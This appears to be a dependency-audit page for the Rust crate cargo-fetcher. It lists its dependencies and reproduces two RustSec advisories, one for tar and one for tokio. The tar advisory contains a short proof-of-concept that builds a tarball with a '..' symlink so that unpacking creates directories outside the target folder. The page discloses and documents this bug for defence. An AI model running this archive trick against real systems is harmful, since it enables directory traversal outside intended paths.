This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate cargo-fetcher

Dependencies

(32 total, 9 outdated, 2 possibly insecure)

CrateRequiredLatestStatus
 anyhow^1.01.0.93up to date
 async-scoped^0.70.9.0out of date
 async-trait^0.10.1.83up to date
 base64^0.210.22.1out of date
 bytes^1.01.8.0up to date
 camino^1.11.1.9up to date
 clap^4.04.5.21up to date
 crossbeam-channel^0.50.5.13up to date
 flate2^1.01.0.35up to date
 home^0.50.5.9up to date
 http^0.21.1.0out of date
 rayon^1.51.10.0up to date
 remove_dir_all^0.80.8.4up to date
 reqwest^0.110.12.9out of date
 ring^0.170.17.8up to date
 rusty-s3^0.50.5.0up to date
 serde^1.01.0.215up to date
 quick-xml^0.300.37.1out of date
 tame-gcs^0.120.13.0out of date
 tame-index^0.80.15.0out of date
 tame-oauth^0.90.10.0out of date
 tar ⚠️^0.40.4.43maybe insecure
 tempfile^3.13.14.0up to date
 time^0.30.3.36up to date
 toml^0.80.8.19up to date
 tracing^0.10.1.40up to date
 tracing-subscriber^0.30.3.18up to date
 url^2.22.5.3up to date
 walkdir^2.32.5.0up to date
 zstd^0.130.13.2up to date
 gix^0.550.67.0out of date
 tokio ⚠️^1.41.41.1maybe insecure

Dev dependencies

(3 total, 1 outdated)

CrateRequiredLatestStatus
 similar-asserts^1.21.6.0up to date
 twox-hash^1.62.0.1out of date
 walkdir^2.32.5.0up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

tokio: reject_remote_clients Configuration corruption

RUSTSEC-2023-0001

On Windows, configuring a named pipe server with pipe_mode will force ServerOptions::reject_remote_clients as false.

This drops any intended explicit configuration for the reject_remote_clients that may have been set as true previously.

The default setting of reject_remote_clients is normally true meaning the default is also overridden as false.

Workarounds

Ensure that pipe_mode is set first after initializing a ServerOptions. For example:

let mut opts = ServerOptions::new();
opts.pipe_mode(PipeMode::Message);
opts.reject_remote_clients(true);